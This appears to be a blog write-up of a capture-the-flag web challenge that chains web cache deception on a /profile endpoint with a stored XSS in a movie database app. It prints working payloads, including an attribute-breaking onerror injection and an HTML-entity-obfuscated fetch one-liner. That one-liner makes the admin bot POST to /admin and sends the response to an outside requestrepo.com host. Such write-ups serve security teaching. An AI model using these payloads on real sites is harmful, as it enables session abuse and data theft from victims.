Post

CCSC 2025 - Popcorn and Payloads

CCSC 2025 - Popcorn and Payloads

Description

Author: kallenosf

Lights, camera, action! Can you see behind the scenes?

Note: Admins/Moderators access the app at http://web-app/

Solution

Initial Look

Facing the challenge, we are presented with a simple login/registration page.

alt text

Upon registering and logging in, we are greeted with a nice movies datababse. You can browse the movies and leave reviews for them.

alt text

alt text

Digging Deeper

When we analyze the page better, we can see the following interesting things:

  1. The admin bot visits any URL we provide in the review. alt text
  2. The /profile endpoint hints us that we need to get an API key. alt text
  3. The /api endpoint lists all the available API endpoints and actions we can perform, including /api/movies which allows us to add a new movie. alt text alt text

So taking into account the above, it’s pretty clear that we need to get our hands on the API key and proceed from there.

Getting the API Key

Let’s take a closer look at how the application behaves (requests, responses, etc.).

alt text

It seems that there is some kind of caching mechanism in place. Let’s try to fetch a static file and view the response headers.

alt text

Now we know that endpoints like /profile and /movies do not get cached (X-Cache-Status: BYPASS), while the static files do get cached (X-Cache-Status: HIT).

This smells like a very interesting vulnerability that suits our needs perfectly.

Exploiting the Cache

Let’s try to exploit this Web Cache Deception vulnerability.

We have to follow these steps:

  1. Check if we can trick the server into caching the /profile endpoint (maybe treat it as a static file).
  2. Force the victim(admin bot) to visit the /profile endpoint so their version of the page gets cached.
  3. Access the cached version of the /profile endpoint and retrieve the API key.

Step 1: Cache the /profile Endpoint

alt text

It seems we can fool the server into caching the /profile endpoint by appending a .js extension to it.

Step 2: Force the Admin Bot to Visit the Cached Page

Let’s create the following review:

alt text

When the admin bot visits the page, it will cache their version of the /profile endpoint (if not already cached).

Step 3: Access the Cached Version of the /profile Endpoint

alt text

We can also see a Get flag button, let’s view the HTML source code of the page to see what it does.

alt text

Perfect! We now know our end goal. We need to send a POST request to /admin as the admin user with the Content-Type header set to application/json and we’ll get the flag in the response.

This hints us again to another vulnerability, the Cross-Site Scripting (XSS) vulnerability.

Finding the XSS

Since now we have access to the api, we can try to add a new movie and see if we can inject javascript in any of the fields.

alt text

alt text

We can see exactly where every one of our inputs lands in the HTML source code of the page.

We can now inject malicious payloads in all the fields, and hope that we can at least execute some javascript code.

1
2
3
4
5
6
{
  "title": "<u>MariosK1574</u>\" injected=\"MariosK1574",
  "image": "image\" injected=\"MariosK1574",
  "trailer": "trailer\" injected=\"MariosK1574",
  "description": "<u>MariosK1574</u>"
}

alt text

Nice! We managed to escape the src attribute of the <img> tag and inject our own attributes. This means we can now inject a onerror attribute and execute our javascript code.

1
2
3
4
5
6
{
  "title": "<u>MariosK1574</u>\" injected=\"MariosK1574",
  "image": "image\" onerror=\"alert(origin)",
  "trailer": "trailer\" injected=\"MariosK1574",
  "description": "<u>MariosK1574</u>"
}

alt text

alt text

Now we can see that our javascript code is executed when the image fails to load. This means we can now send a POST request to /admin as the admin user and get the flag.

Getting the Flag

Let’s construct our final XSS payload:

1
fetch('http://web-app/admin', {method: 'POST', headers: {'Content-Type': 'application/json'}}).then(r => r.json()).then(r => fetch(`https://fv7f6lqp.requestrepo.com/?d=${btoa(JSON.stringify(r))}`))

What this does is:

  1. Send a POST request to /admin as the admin user with the Content-Type header set to application/json to get the flag.
  2. Encode the response in base64 and send it to our requestrepo endpoint.

We are also encoding the payload in HTML Entity format to avoid any issues.

1
2
3
4
5
6
{
  "title": "XSS",
  "image": "image\" onerror=\"&#102;&#101;&#116;&#99;&#104;&lpar;&apos;&#104;&#116;&#116;&#112;&colon;&sol;&sol;&#119;&#101;&#98;&#45;&#97;&#112;&#112;&sol;&#97;&#100;&#109;&#105;&#110;&apos;&comma;&#32;&lcub;&#109;&#101;&#116;&#104;&#111;&#100;&colon;&#32;&apos;&#80;&#79;&#83;&#84;&apos;&comma;&#32;&#104;&#101;&#97;&#100;&#101;&#114;&#115;&colon;&#32;&lcub;&apos;&#67;&#111;&#110;&#116;&#101;&#110;&#116;&#45;&#84;&#121;&#112;&#101;&apos;&colon;&#32;&apos;&#97;&#112;&#112;&#108;&#105;&#99;&#97;&#116;&#105;&#111;&#110;&sol;&#106;&#115;&#111;&#110;&apos;&rcub;&rcub;&rpar;&period;&#116;&#104;&#101;&#110;&lpar;&#114;&#32;&equals;&gt;&#32;&#114;&period;&#106;&#115;&#111;&#110;&lpar;&rpar;&rpar;&period;&#116;&#104;&#101;&#110;&lpar;&#114;&#32;&equals;&gt;&#32;&#102;&#101;&#116;&#99;&#104;&lpar;&grave;&#104;&#116;&#116;&#112;&#115;&colon;&sol;&sol;&#102;&#118;&#55;&#102;&#54;&#108;&#113;&#112;&period;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#114;&#101;&#112;&#111;&period;&#99;&#111;&#109;&sol;&quest;&#100;&equals;&dollar;&lcub;&#98;&#116;&#111;&#97;&lpar;&#74;&#83;&#79;&#78;&period;&#115;&#116;&#114;&#105;&#110;&#103;&#105;&#102;&#121;&lpar;&#114;&rpar;&rpar;&rcub;&grave;&rpar;&rpar;",
  "trailer": "XSS",
  "description": "XSS Payload"
}

And finally let’s post a review with the URL of the movie we just created:

alt text

We get a callback on our requestrepo callback with base64 encoded flag.

alt text

alt text

The flag is: ECSC{L1gHtS_C4meRa_D3c3pTi0n...I_Me4N_AC7ioN}

Conclusion

This challenge was a great example of how to exploit web cache deception vulnerabilities and cross-site scripting vulnerabilities to achieve our goal. It also highlighted the importance of understanding how web applications work and how to manipulate them to our advantage. Overall, it was a fun and educational challenge that showcased real-world web security issues.

This post is licensed under CC BY 4.0 by the author.